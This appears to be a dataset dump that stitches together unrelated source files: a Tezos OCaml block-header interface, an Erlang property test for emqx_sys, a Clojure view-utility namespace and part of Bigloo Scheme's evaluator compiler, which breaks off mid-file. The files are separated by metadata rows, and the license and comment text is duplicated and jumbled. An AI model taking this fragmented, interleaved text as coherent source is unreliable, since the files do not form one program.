(* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL *)
(* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER*)
LIABILITY , WHETHER IN AN ACTION OF CONTRACT , TORT OR OTHERWISE , ARISING
(* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *)
(* DEALINGS IN THE SOFTWARE. *)
(* *)
(*****************************************************************************)
(** Representation of block headers. *)
type contents = {
payload_hash : Block_payload_hash.t;
payload_round : Round_repr.t;
seed_nonce_hash : Nonce_hash.t option;
proof_of_work_nonce : bytes;
liquidity_baking_toggle_vote :
Liquidity_baking_repr.liquidity_baking_toggle_vote;
}
type protocol_data = {contents : contents; signature : Signature.t}
type t = {shell : Block_header.shell_header; protocol_data : protocol_data}
type block_header = t
type raw = Block_header.t
type shell_header = Block_header.shell_header
val raw : block_header -> raw
val encoding : block_header Data_encoding.encoding
val raw_encoding : raw Data_encoding.t
val contents_encoding : contents Data_encoding.t
val unsigned_encoding : (Block_header.shell_header * contents) Data_encoding.t
val protocol_data_encoding : protocol_data Data_encoding.encoding
val shell_header_encoding : shell_header Data_encoding.encoding
type block_watermark = Block_header of Chain_id.t
val to_watermark : block_watermark -> Signature.watermark
val of_watermark : Signature.watermark -> block_watermark option
(** The maximum size of block headers in bytes *)
val max_header_length : int
val hash : block_header -> Block_hash.t
val hash_raw : raw -> Block_hash.t
type error += (* Permanent *) Invalid_stamp
(** Checks if the header that would be built from the given components
is valid for the given difficulty. The signature is not passed as
it is does not impact the proof-of-work stamp. The stamp is checked
on the hash of a block header whose signature has been
zeroed-out. *)
module Proof_of_work : sig
val check_hash : Block_hash.t -> int64 -> bool
val check_header_proof_of_work_stamp :
shell_header -> contents -> int64 -> bool
val check_proof_of_work_stamp :
proof_of_work_threshold:int64 -> block_header -> unit tzresult
end
* [ check_timestamp ctxt timestamp round predecessor_timestamp
] verifies that the block 's timestamp and round
are coherent with the predecessor block 's timestamp and
round . Fails with an error if that is not the case .
predecessor_round] verifies that the block's timestamp and round
are coherent with the predecessor block's timestamp and
round. Fails with an error if that is not the case. *)
val check_timestamp :
Round_repr.Durations.t ->
timestamp:Time.t ->
round:Round_repr.t ->
predecessor_timestamp:Time.t ->
predecessor_round:Round_repr.t ->
unit tzresult
val check_signature : t -> Chain_id.t -> Signature.Public_key.t -> unit tzresult
val begin_validate_block_header :
block_header:t ->
chain_id:Chain_id.t ->
predecessor_timestamp:Time.t ->
predecessor_round:Round_repr.t ->
fitness:Fitness_repr.t ->
timestamp:Time.t ->
delegate_pk:Signature.public_key ->
round_durations:Round_repr.Durations.t ->
proof_of_work_threshold:int64 ->
expected_commitment:bool ->
unit tzresult
type locked_round_evidence = {
preendorsement_round : Round_repr.t;
preendorsement_count : int;
}
type checkable_payload_hash =
| No_check
| Expected_payload_hash of Block_payload_hash.t
val finalize_validate_block_header :
block_header_contents:contents ->
round:Round_repr.t ->
fitness_locked_round:Round_repr.t option ->
checkable_payload_hash:checkable_payload_hash ->
locked_round_evidence:locked_round_evidence option ->
consensus_threshold:int ->
unit tzresult
| null | https://raw.githubusercontent.com/tezos/tezos-mirror/195315d385d7e8e25fc599e7cb645b1429957183/src/proto_alpha/lib_protocol/block_header_repr.mli | ocaml | ***************************************************************************
Open Source License
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
the rights to use, copy, modify, merge, publish, distribute, sublicense,
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
***************************************************************************
* Representation of block headers.
* The maximum size of block headers in bytes
Permanent
* Checks if the header that would be built from the given components
is valid for the given difficulty. The signature is not passed as
it is does not impact the proof-of-work stamp. The stamp is checked
on the hash of a block header whose signature has been
zeroed-out. | Copyright ( c ) 2018 Dynamic Ledger Solutions , Inc. < >
to deal in the Software without restriction , including without limitation
and/or sell copies of the Software , and to permit persons to whom the
THE SOFTWARE IS PROVIDED " AS IS " , WITHOUT WARRANTY OF ANY KIND , EXPRESS OR
LIABILITY , WHETHER IN AN ACTION OF CONTRACT , TORT OR OTHERWISE , ARISING
type contents = {
payload_hash : Block_payload_hash.t;
payload_round : Round_repr.t;
seed_nonce_hash : Nonce_hash.t option;
proof_of_work_nonce : bytes;
liquidity_baking_toggle_vote :
Liquidity_baking_repr.liquidity_baking_toggle_vote;
}
type protocol_data = {contents : contents; signature : Signature.t}
type t = {shell : Block_header.shell_header; protocol_data : protocol_data}
type block_header = t
type raw = Block_header.t
type shell_header = Block_header.shell_header
val raw : block_header -> raw
val encoding : block_header Data_encoding.encoding
val raw_encoding : raw Data_encoding.t
val contents_encoding : contents Data_encoding.t
val unsigned_encoding : (Block_header.shell_header * contents) Data_encoding.t
val protocol_data_encoding : protocol_data Data_encoding.encoding
val shell_header_encoding : shell_header Data_encoding.encoding
type block_watermark = Block_header of Chain_id.t
val to_watermark : block_watermark -> Signature.watermark
val of_watermark : Signature.watermark -> block_watermark option
val max_header_length : int
val hash : block_header -> Block_hash.t
val hash_raw : raw -> Block_hash.t
module Proof_of_work : sig
val check_hash : Block_hash.t -> int64 -> bool
val check_header_proof_of_work_stamp :
shell_header -> contents -> int64 -> bool
val check_proof_of_work_stamp :
proof_of_work_threshold:int64 -> block_header -> unit tzresult
end
* [ check_timestamp ctxt timestamp round predecessor_timestamp
] verifies that the block 's timestamp and round
are coherent with the predecessor block 's timestamp and
round . Fails with an error if that is not the case .
predecessor_round] verifies that the block's timestamp and round
are coherent with the predecessor block's timestamp and
round. Fails with an error if that is not the case. *)
val check_timestamp :
Round_repr.Durations.t ->
timestamp:Time.t ->
round:Round_repr.t ->
predecessor_timestamp:Time.t ->
predecessor_round:Round_repr.t ->
unit tzresult
val check_signature : t -> Chain_id.t -> Signature.Public_key.t -> unit tzresult
val begin_validate_block_header :
block_header:t ->
chain_id:Chain_id.t ->
predecessor_timestamp:Time.t ->
predecessor_round:Round_repr.t ->
fitness:Fitness_repr.t ->
timestamp:Time.t ->
delegate_pk:Signature.public_key ->
round_durations:Round_repr.Durations.t ->
proof_of_work_threshold:int64 ->
expected_commitment:bool ->
unit tzresult
type locked_round_evidence = {
preendorsement_round : Round_repr.t;
preendorsement_count : int;
}
type checkable_payload_hash =
| No_check
| Expected_payload_hash of Block_payload_hash.t
val finalize_validate_block_header :
block_header_contents:contents ->
round:Round_repr.t ->
fitness_locked_round:Round_repr.t option ->
checkable_payload_hash:checkable_payload_hash ->
locked_round_evidence:locked_round_evidence option ->
consensus_threshold:int ->
unit tzresult
|
f2ad2df68c5f8fe44d880671d133f7cfeec94b724561610ae51ed1bcea288363 | dgiot/dgiot | prop_emqx_sys.erl | %%--------------------------------------------------------------------
Copyright ( c ) 2020 - 2022 EMQ Technologies Co. , Ltd. All Rights Reserved .
%%
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
%% you may not use this file except in compliance with the License.
%% You may obtain a copy of the License at
%%
%% -2.0
%%
%% Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an " AS IS " BASIS ,
%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
%% See the License for the specific language governing permissions and
%% limitations under the License.
%%--------------------------------------------------------------------
-module(prop_emqx_sys).
-include_lib("proper/include/proper.hrl").
-export([ initial_state/0
, command/1
, precondition/2
, postcondition/3
, next_state/3
]).
-define(mock_modules,
[ emqx_metrics
, emqx_stats
, emqx_broker
, ekka_mnesia
]).
-define(ALL(Vars, Types, Exprs),
?SETUP(fun() ->
State = do_setup(),
fun() -> do_teardown(State) end
end, ?FORALL(Vars, Types, Exprs))).
%%--------------------------------------------------------------------
%% Properties
%%--------------------------------------------------------------------
prop_sys() ->
?ALL(Cmds, commands(?MODULE),
begin
{ok, _Pid} = emqx_sys:start_link(),
{History, State, Result} = run_commands(?MODULE, Cmds),
ok = emqx_sys:stop(),
?WHENFAIL(io:format("History: ~p\nState: ~p\nResult: ~p\n",
[History,State,Result]),
aggregate(command_names(Cmds), Result =:= ok))
end).
%%--------------------------------------------------------------------
%% Helpers
%%--------------------------------------------------------------------
do_setup() ->
ok = emqx_logger:set_log_level(emergency),
[mock(Mod) || Mod <- ?mock_modules],
ok.
do_teardown(_) ->
ok = emqx_logger:set_log_level(error),
[ok = meck:unload(Mod) || Mod <- ?mock_modules],
ok.
mock(Module) ->
ok = meck:new(Module, [passthrough, no_history]),
do_mock(Module).
do_mock(emqx_broker) ->
meck:expect(emqx_broker, publish,
fun(Msg) -> {node(), <<"test">>, Msg} end),
meck:expect(emqx_broker, safe_publish,
fun(Msg) -> {node(), <<"test">>, Msg} end);
do_mock(emqx_stats) ->
meck:expect(emqx_stats, getstats, fun() -> [0] end);
do_mock(ekka_mnesia) ->
meck:expect(ekka_mnesia, running_nodes, fun() -> [node()] end);
do_mock(emqx_metrics) ->
meck:expect(emqx_metrics, all, fun() -> [{hello, 3}] end).
%%--------------------------------------------------------------------
%% MODEL
%%--------------------------------------------------------------------
%% @doc Initial model value at system start. Should be deterministic.
initial_state() ->
#{}.
%% @doc List of possible commands to run against the system
command(_State) ->
oneof([{call, emqx_sys, info, []},
{call, emqx_sys, version, []},
{call, emqx_sys, uptime, []},
{call, emqx_sys, datetime, []},
{call, emqx_sys, sysdescr, []},
{call, emqx_sys, sys_interval, []},
{call, emqx_sys, sys_heatbeat_interval, []},
%------------ unexpected message ----------------------%
{call, emqx_sys, handle_call, [emqx_sys, other, state]},
{call, emqx_sys, handle_cast, [emqx_sys, other]},
{call, emqx_sys, handle_info, [info, state]}
]).
precondition(_State, {call, _Mod, _Fun, _Args}) ->
true.
postcondition(_State, {call, emqx_sys, info, []}, Info) ->
is_list(Info) andalso length(Info) =:= 4;
postcondition(_State, {call, emqx_sys, version, []}, Version) ->
is_list(Version);
postcondition(_State, {call, emqx_sys, uptime, []}, Uptime) ->
is_list(Uptime);
postcondition(_State, {call, emqx_sys, datetime, []}, Datetime) ->
is_list(Datetime);
postcondition(_State, {call, emqx_sys, sysdescr, []}, Sysdescr) ->
is_list(Sysdescr);
postcondition(_State, {call, emqx_sys, sys_interval, []}, SysInterval) ->
is_integer(SysInterval) andalso SysInterval > 0;
postcondition(_State, {call, emqx_sys, sys_heartbeat_interval, []}, SysHeartInterval) ->
is_integer(SysHeartInterval) andalso SysHeartInterval > 0;
postcondition(_State, {call, _Mod, _Fun, _Args}, _Res) ->
true.
next_state(State, _Res, {call, _Mod, _Fun, _Args}) ->
NewState = State,
NewState.
| null | https://raw.githubusercontent.com/dgiot/dgiot/c601555e45f38d02aafc308b18a9e28c543b6f2c/test/props/prop_emqx_sys.erl | erlang | --------------------------------------------------------------------
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
-2.0
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--------------------------------------------------------------------
--------------------------------------------------------------------
Properties
--------------------------------------------------------------------
--------------------------------------------------------------------
Helpers
--------------------------------------------------------------------
--------------------------------------------------------------------
MODEL
--------------------------------------------------------------------
@doc Initial model value at system start. Should be deterministic.
@doc List of possible commands to run against the system
------------ unexpected message ----------------------% | Copyright ( c ) 2020 - 2022 EMQ Technologies Co. , Ltd. All Rights Reserved .
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
distributed under the License is distributed on an " AS IS " BASIS ,
-module(prop_emqx_sys).
-include_lib("proper/include/proper.hrl").
-export([ initial_state/0
, command/1
, precondition/2
, postcondition/3
, next_state/3
]).
-define(mock_modules,
[ emqx_metrics
, emqx_stats
, emqx_broker
, ekka_mnesia
]).
-define(ALL(Vars, Types, Exprs),
?SETUP(fun() ->
State = do_setup(),
fun() -> do_teardown(State) end
end, ?FORALL(Vars, Types, Exprs))).
prop_sys() ->
?ALL(Cmds, commands(?MODULE),
begin
{ok, _Pid} = emqx_sys:start_link(),
{History, State, Result} = run_commands(?MODULE, Cmds),
ok = emqx_sys:stop(),
?WHENFAIL(io:format("History: ~p\nState: ~p\nResult: ~p\n",
[History,State,Result]),
aggregate(command_names(Cmds), Result =:= ok))
end).
do_setup() ->
ok = emqx_logger:set_log_level(emergency),
[mock(Mod) || Mod <- ?mock_modules],
ok.
do_teardown(_) ->
ok = emqx_logger:set_log_level(error),
[ok = meck:unload(Mod) || Mod <- ?mock_modules],
ok.
mock(Module) ->
ok = meck:new(Module, [passthrough, no_history]),
do_mock(Module).
do_mock(emqx_broker) ->
meck:expect(emqx_broker, publish,
fun(Msg) -> {node(), <<"test">>, Msg} end),
meck:expect(emqx_broker, safe_publish,
fun(Msg) -> {node(), <<"test">>, Msg} end);
do_mock(emqx_stats) ->
meck:expect(emqx_stats, getstats, fun() -> [0] end);
do_mock(ekka_mnesia) ->
meck:expect(ekka_mnesia, running_nodes, fun() -> [node()] end);
do_mock(emqx_metrics) ->
meck:expect(emqx_metrics, all, fun() -> [{hello, 3}] end).
initial_state() ->
#{}.
command(_State) ->
oneof([{call, emqx_sys, info, []},
{call, emqx_sys, version, []},
{call, emqx_sys, uptime, []},
{call, emqx_sys, datetime, []},
{call, emqx_sys, sysdescr, []},
{call, emqx_sys, sys_interval, []},
{call, emqx_sys, sys_heatbeat_interval, []},
{call, emqx_sys, handle_call, [emqx_sys, other, state]},
{call, emqx_sys, handle_cast, [emqx_sys, other]},
{call, emqx_sys, handle_info, [info, state]}
]).
precondition(_State, {call, _Mod, _Fun, _Args}) ->
true.
postcondition(_State, {call, emqx_sys, info, []}, Info) ->
is_list(Info) andalso length(Info) =:= 4;
postcondition(_State, {call, emqx_sys, version, []}, Version) ->
is_list(Version);
postcondition(_State, {call, emqx_sys, uptime, []}, Uptime) ->
is_list(Uptime);
postcondition(_State, {call, emqx_sys, datetime, []}, Datetime) ->
is_list(Datetime);
postcondition(_State, {call, emqx_sys, sysdescr, []}, Sysdescr) ->
is_list(Sysdescr);
postcondition(_State, {call, emqx_sys, sys_interval, []}, SysInterval) ->
is_integer(SysInterval) andalso SysInterval > 0;
postcondition(_State, {call, emqx_sys, sys_heartbeat_interval, []}, SysHeartInterval) ->
is_integer(SysHeartInterval) andalso SysHeartInterval > 0;
postcondition(_State, {call, _Mod, _Fun, _Args}, _Res) ->
true.
next_state(State, _Res, {call, _Mod, _Fun, _Args}) ->
NewState = State,
NewState.
|
0119c1b6ee9b9e1e80a5694549e8333166e53815f3539783852d80094c762331 | 7even/endless-ships | utils.cljs | (ns endless-ships.views.utils
(:require [clojure.string :as str])
(:import (goog.i18n NumberFormat)
(goog.i18n.NumberFormat Format)))
(def license-label-styles
{"City-Ship" "human"
"Navy" "human"
"Navy Carrier" "human"
"Navy Cruiser" "human"
"Navy Auxiliary" "human"
"Militia" "human"
"Unfettered Militia" "hai"
"Wanderer" "wanderer"
"Wanderer Military" "wanderer"
"Wanderer Outfits" "wanderer"
"Coalition" "coalition"
"Heliarch" "coalition"
"Remnant" "remnant"
"Remnant Capital" "remnant"
"Scin Adjutant" "gegno"
"Scin Architect" "gegno"
"Scin Hoplologist" "gegno"
"Vi Lord" "gegno"
"Vi Centurion" "gegno"
"Vi Evocati" "gegno"
"Gegno Civilian" "gegno"})
(defn license-label [license]
(let [style (get license-label-styles license)]
^{:key license} [:span.label {:class (str "label-" style)} license]))
(def nbsp "\u00a0")
(defn nbspize [s]
(str/replace s #" " nbsp))
(defn kebabize [s]
(-> s
(str/replace #"\s+" "-")
(str/replace #"[\?']" "")
str/lower-case))
(defn format-number [num]
(if (number? num)
(let [rounded (-> num
(* 10)
js/Math.round
(/ 10))
formatter (NumberFormat. Format/DECIMAL)]
(.format formatter (str rounded)))
num))
(defn render-attribute [m prop label]
(let [v (prop m)]
(when (some? v)
(if (number? v)
[:li (str label ": " (format-number v))]
[:li (str label ": " v)]))))
(defn render-percentage [m prop label]
(let [v (prop m)]
(when (some? v)
[:li (str label ": " (format-number (* v 100)) "%")])))
(defn render-description [entity]
(->> (:description entity)
(map-indexed (fn [idx paragraph]
[paragraph
^{:key idx} [:span [:br] [:br]]]))
(apply concat)
butlast))
| null | https://raw.githubusercontent.com/7even/endless-ships/1cb0519b66e493f092adea9b22768ad0980dbbab/src/cljs/endless_ships/views/utils.cljs | clojure | (ns endless-ships.views.utils
(:require [clojure.string :as str])
(:import (goog.i18n NumberFormat)
(goog.i18n.NumberFormat Format)))
(def license-label-styles
{"City-Ship" "human"
"Navy" "human"
"Navy Carrier" "human"
"Navy Cruiser" "human"
"Navy Auxiliary" "human"
"Militia" "human"
"Unfettered Militia" "hai"
"Wanderer" "wanderer"
"Wanderer Military" "wanderer"
"Wanderer Outfits" "wanderer"
"Coalition" "coalition"
"Heliarch" "coalition"
"Remnant" "remnant"
"Remnant Capital" "remnant"
"Scin Adjutant" "gegno"
"Scin Architect" "gegno"
"Scin Hoplologist" "gegno"
"Vi Lord" "gegno"
"Vi Centurion" "gegno"
"Vi Evocati" "gegno"
"Gegno Civilian" "gegno"})
(defn license-label [license]
(let [style (get license-label-styles license)]
^{:key license} [:span.label {:class (str "label-" style)} license]))
(def nbsp "\u00a0")
(defn nbspize [s]
(str/replace s #" " nbsp))
(defn kebabize [s]
(-> s
(str/replace #"\s+" "-")
(str/replace #"[\?']" "")
str/lower-case))
(defn format-number [num]
(if (number? num)
(let [rounded (-> num
(* 10)
js/Math.round
(/ 10))
formatter (NumberFormat. Format/DECIMAL)]
(.format formatter (str rounded)))
num))
(defn render-attribute [m prop label]
(let [v (prop m)]
(when (some? v)
(if (number? v)
[:li (str label ": " (format-number v))]
[:li (str label ": " v)]))))
(defn render-percentage [m prop label]
(let [v (prop m)]
(when (some? v)
[:li (str label ": " (format-number (* v 100)) "%")])))
(defn render-description [entity]
(->> (:description entity)
(map-indexed (fn [idx paragraph]
[paragraph
^{:key idx} [:span [:br] [:br]]]))
(apply concat)
butlast))
| |
dd87b1fc91a032d5aeed6802c853b3acc3bf39b63dcc45116e921bdb867ec2ea | manuel-serrano/bigloo | evcompile.scm | ;*=====================================================================*/
* ... /prgm / project / bigloo / / runtime / Eval / evcompile.scm * /
;* ------------------------------------------------------------- */
* Author : * /
* Creation : Fri Mar 25 09:09:18 1994 * /
* Last change : Tue Nov 19 13:10:00 2019 ( serrano ) * /
;* ------------------------------------------------------------- */
;* La pre-compilation des formes pour permettre l'interpretation */
;* rapide */
;*=====================================================================*/
;*---------------------------------------------------------------------*/
;* Le module */
;*---------------------------------------------------------------------*/
(module __evcompile
(include "Eval/byte-code.sch")
(import __type
__error
__bigloo
__tvector
__structure
__tvector
__bexit
__bignum
__os
__dsssl
__bit
__param
__object
__thread
__r4_numbers_6_5
__r4_numbers_6_5_fixnum
__r4_numbers_6_5_flonum
__r4_numbers_6_5_flonum_dtoa
__r4_characters_6_6
__r4_equivalence_6_2
__r4_booleans_6_1
__r4_symbols_6_4
__r4_strings_6_7
__r4_pairs_and_lists_6_3
__r4_control_features_6_9
__r4_vectors_6_8
__r4_ports_6_10_1
__r4_output_6_10_3
__r5_control_features_6_4
__evenv
__eval
__evobject
__evmodule
__expand
__reader)
(export (evcompile-loc-filename loc)
(evcompile exp ::pair-nil ::obj ::symbol ::bool loc ::bool ::bool)
(evcompile-error ::obj ::obj ::obj ::obj)))
;*---------------------------------------------------------------------*/
;* get-location ... */
;*---------------------------------------------------------------------*/
(define (get-location exp loc)
(or (get-source-location exp) loc))
;*---------------------------------------------------------------------*/
;* tailcall? ... */
;*---------------------------------------------------------------------*/
(define (tailcall?)
(<fx (bigloo-debug) 3))
;*---------------------------------------------------------------------*/
;* evcompile ... */
;* ------------------------------------------------------------- */
;* The syntax is here unchecked because the macro-expansion has */
;* already enforced it. */
;*---------------------------------------------------------------------*/
(define (evcompile exp
env::pair-nil genv::obj
where::symbol
tail::bool loc lkp::bool toplevelp::bool)
(match-case exp
(()
(evcompile-error loc "eval" "Illegal expression" '()))
((module . ?-)
(if toplevelp
(let ((forms (evmodule exp (get-location exp loc))))
(evcompile (expand forms)
env ($eval-module) where #f loc lkp #t))
(evcompile-error loc "eval"
"Illegal non toplevel module declaration" exp)))
((assert . ?-)
(unspecified))
((atom ?atom)
(cond
((symbol? atom)
(evcompile-ref 1 (variable loc atom env genv) genv loc lkp))
((and (procedure? atom) (not lkp))
(evcompile-error loc
"eval"
"Illegal procedure in unlinked byte code"
atom))
(else
(evcompile-cnst atom loc))))
((@ (and ?id (? symbol?)) (and ?mod (? symbol?)))
(let ((@var (@variable loc id env genv mod)))
(evcompile-ref 2 @var genv loc lkp)))
((-> . ?l)
(if (and (pair? l) (pair? (cdr l)) (every symbol? l))
(evcompile-field-ref exp env genv where tail loc lkp toplevelp)
(evcompile-error loc "eval" "Illegal form" exp) ))
((quote ?cnst)
(evcompile-cnst cnst (get-location exp loc)))
((if ?si ?alors ?sinon)
(let ((loc (get-location exp loc)))
(evcompile-if (evcompile si env genv
where #f
(get-location si loc)
lkp #f)
(evcompile alors env genv
where tail
(get-location alors loc)
lkp #f)
(evcompile sinon env genv
where tail
(get-location sinon loc)
lkp #f)
loc)))
((if ?si ?alors)
(let ((loc (get-location exp loc)))
(evcompile-if (evcompile si env genv
where #f
(get-location si loc)
lkp #f)
(evcompile alors env genv
where tail
(get-location alors loc)
lkp #f)
(evcompile #f env genv
where tail
(get-location exp loc)
lkp #f)
loc)))
(((kwote or) . ?rest)
(evcompile-or rest env genv where (get-location exp loc) lkp))
(((kwote and) . ?rest)
(evcompile-and rest env genv where (get-location exp loc) lkp))
((begin . ?rest)
(evcompile-begin rest env genv where tail
(get-location exp loc) lkp toplevelp))
((define ?var ?val)
(cond
((and (eq? where '_)
(or (eq? genv (scheme-report-environment 5))
(eq? genv (null-environment 5))))
(evcompile-error loc
"eval"
"Illegal define form (sealed environment)"
exp))
((not toplevelp)
(evcompile-error loc
"eval"
"Illegal non toplevel define"
exp))
(else
(let ((loc (get-location exp loc)))
(evcompile-define-value var
(evcompile val '()
genv (if toplevelp var where)
(tailcall?)
(get-location val loc)
lkp #f)
loc)))))
((set! . ?-)
(match-case exp
((?- (@ (and ?id (? symbol?)) (and ?mod (? symbol?))) ?val)
(let ((loc (get-location exp loc)))
(evcompile-set (@variable loc id env genv mod)
(evcompile val env
genv id #f
(get-location val loc)
lkp #f)
genv
loc)))
((?- (-> . ?l) ?val)
(if (and (pair? l) (pair? (cdr l)) (every symbol? l))
(evcompile-field-set l val exp env genv where tail loc lkp toplevelp)
(evcompile-error loc "eval" "Illegal form" exp) ))
((?- (and (? symbol?) ?var) ?val)
(let ((loc (get-location exp loc)))
(evcompile-set (variable loc var env genv)
(evcompile val env
genv var #f
(get-location val loc)
lkp #f)
genv
loc)))
(else
(evcompile-error (get-location exp loc) "set!" "Illegal form" exp))))
((bind-exit ?escape ?body)
(let ((loc (get-location exp loc)))
(evcompile-bind-exit
(evcompile `(lambda ,escape ,body)
env genv (car escape)
#f
(get-location body loc)
lkp #f)
loc)))
((unwind-protect ?body . ?protect)
(let ((loc (get-location exp loc)))
(evcompile-unwind-protect
(evcompile body env
genv where #f
(get-location body loc)
lkp #f)
(evcompile-begin protect env genv
where #f
(get-location protect loc)
lkp #f)
loc)))
((with-handler ?handler . ?body)
(let ((loc (get-location exp loc)))
(evcompile-with-handler
(evcompile handler env
genv where #f
(get-location handler loc)
lkp #f)
(evcompile-begin body env genv
where #f
(get-location body loc)
lkp #f)
loc)))
((synchronize ?mutex :prelock ?prelock . ?body)
(let ((loc (get-location exp loc)))
(evcompile-synchronize-prelock
(evcompile mutex env
genv where #f
(get-location mutex loc)
lkp #f)
(evcompile prelock env
genv where #f
(get-location mutex loc)
lkp #f)
(evcompile-begin body env genv
where #f
(get-location body loc)
lkp #f)
loc)))
((synchronize ?mutex . ?body)
(let ((loc (get-location exp loc)))
(evcompile-synchronize
(evcompile mutex env
genv where #f
(get-location mutex loc)
lkp #f)
(evcompile-begin body env genv
where #f
(get-location body loc)
lkp #f)
loc)))
((lambda ?formals ?body)
(let* ((loc (get-location exp loc))
(scm-formals (dsssl-formals->scheme-typed-formals
formals
(lambda (proc msg obj)
(evcompile-error loc proc msg obj))
#t)))
(evcompile-lambda scm-formals
(evcompile (make-dsssl-function-prelude
exp
formals
body
(lambda (proc msg obj)
(evcompile-error loc proc msg obj)))
(extend-env scm-formals env)
genv
where
(tailcall?)
(get-location body loc)
lkp #f)
where
loc)))
((let ?bindings ?body)
(evcompile-let bindings body env
genv where tail
(get-location exp loc)
lkp))
((let* ?bindings ?body)
(evcompile-let* bindings body env
genv where tail
(get-location exp loc)
lkp))
((letrec ?bindings ?body)
(evcompile-letrec bindings body env
genv where tail
(get-location exp loc)
lkp))
(((atom ?fun) . ?args)
(let* ((loc (get-location exp loc))
(actuals (map (lambda (a)
(evcompile a env genv where #f loc lkp #f))
args)))
(cond
((symbol? fun)
(let* ((proc (variable loc fun env genv))
(ref (evcompile-ref 3 proc genv loc lkp)))
(evcompile-application fun ref actuals tail loc)))
((procedure? fun)
(if lkp
(evcompile-compiled-application fun actuals loc)
(evcompile-error loc
"eval"
"Illegal procedure in unlinked byte code"
fun)))
(else
(evcompile-error loc "eval" "Not a procedure" fun)
(evcode -2 loc (list "eval" "Not a procedure" fun))))))
(((@ (and (? symbol?) ?fun) (and (? symbol?) ?mod)) . ?args)
(let* ((loc (get-location exp loc))
(actuals (map (lambda (a)
(evcompile a env genv where #f loc lkp #f))
args))
(@proc (@variable loc fun env genv mod)))
(evcompile-application fun
(evcompile-ref 4 @proc genv loc lkp)
actuals
tail
loc)))
((?fun . ?args)
(let ((loc (get-location exp loc))
(actuals (map (lambda (a)
(evcompile a env genv where #f loc lkp #f))
args))
(proc (evcompile fun env genv where #f loc lkp #f)))
(evcompile-application fun proc actuals tail loc)))
(else
(evcompile-error loc "eval" "Illegal form" exp))))
;*---------------------------------------------------------------------*/
;* evcompile-cnst ... */
;*---------------------------------------------------------------------*/
(define (evcompile-cnst cnst loc)
(cond
((vector? cnst)
(evcode -1 loc cnst))
(else
cnst)))
;*---------------------------------------------------------------------*/
;* eval-global-ref? ... */
;*---------------------------------------------------------------------*/
(define (eval-global-ref? proc)
(and (vector? proc) (=fx (vector-ref proc 0) 6)))
;*---------------------------------------------------------------------*/
;* evcompile-ref ... */
;*---------------------------------------------------------------------*/
(define (evcompile-ref where variable mod loc lkp)
(cond
((eval-global? variable)
(if lkp
(evcode (if (eq? (eval-global-tag variable) 1) 5 6)
loc
variable)
(evcode (if (eq? (eval-global-tag variable) 1) 145 146)
loc
(eval-global-name variable)
($eval-module))))
((dynamic? variable)
(let ((name (dynamic-name variable)))
(when (evmodule? mod)
(let ((g (make-eval-global name mod loc)))
(eval-global-tag-set! g 3)
(evmodule-bind-global! mod name g loc)))
(evcode 7 loc name ($eval-module))))
(else
(case variable
((0 1 2 3)
(evcode variable loc))
(else
(evcode 4 loc variable))))))
;*---------------------------------------------------------------------*/
;* evcompile-set ... */
;*---------------------------------------------------------------------*/
(define (evcompile-set var value mod loc)
(cond
((eval-global? var)
(if (or (eq? (eval-global-tag var) 0)
(eq? (eval-global-tag var) 4)
(eq? (eval-global-tag var) 5))
(evcompile-error loc "eval" "Read-only variable"
(eval-global-name var))
(evcode 8 loc var value)))
((dynamic? var)
(let ((name (dynamic-name var)))
(when (evmodule? mod)
(let ((g (make-eval-global name mod loc)))
(eval-global-tag-set! g 3)
(evmodule-bind-global! mod name g loc)))
(evcode 9 loc name value ($eval-module))))
(else
(case var
((0 1 2 3)
(evcode (+fx 10 var) loc value))
(else
(evcode 14 loc var value))))))
;*---------------------------------------------------------------------*/
;* evcompile-if ... */
;*---------------------------------------------------------------------*/
(define (evcompile-if si alors sinon loc)
(evcode 15 loc si alors sinon))
;*---------------------------------------------------------------------*/
;* evcompile-or ... */
;*---------------------------------------------------------------------*/
(define (evcompile-or body env genv where loc lkp)
(let ((as (map (lambda (x)
(evcompile x env genv where #f loc lkp #f))
body)))
(list->evcode 67 loc as)))
;*---------------------------------------------------------------------*/
;* evcompile-and ... */
;*---------------------------------------------------------------------*/
(define (evcompile-and body env genv where loc lkp)
(let ((as (map (lambda (x)
(evcompile x env genv where #f loc lkp #f))
body)))
(list->evcode 68 loc as)))
;*---------------------------------------------------------------------*/
;* evcompile-begin ... */
;*---------------------------------------------------------------------*/
(define (evcompile-begin body env genv where tail loc lkp tlp)
(cond
((null? body)
(evcompile #unspecified env genv where tail loc lkp tlp))
((null? (cdr body))
(evcompile (car body) env genv
where tail
(get-location (car body) loc)
lkp tlp))
(else
(let ((cbody (let loop ((rest body))
(cond
((null? rest)
'())
((null? (cdr rest))
(cons (evcompile (car rest) env
genv where tail
(get-location (car rest) loc)
lkp tlp)
'()))
(else
(cons (evcompile (car rest) env genv where #f
(get-location (car rest) loc)
lkp tlp)
(loop (cdr rest))))))))
(list->evcode 16 loc cbody)))))
;*---------------------------------------------------------------------*/
;* evcompile-define-value ... */
;*---------------------------------------------------------------------*/
(define (evcompile-define-value var val loc)
(evcode 17 loc (untype-ident var) val ($eval-module)))
;*---------------------------------------------------------------------*/
;* evcompile-bind-exit ... */
;*---------------------------------------------------------------------*/
(define (evcompile-bind-exit body loc)
(evcode 18 loc body))
;*---------------------------------------------------------------------*/
;* evcompile-unwind-protect ... */
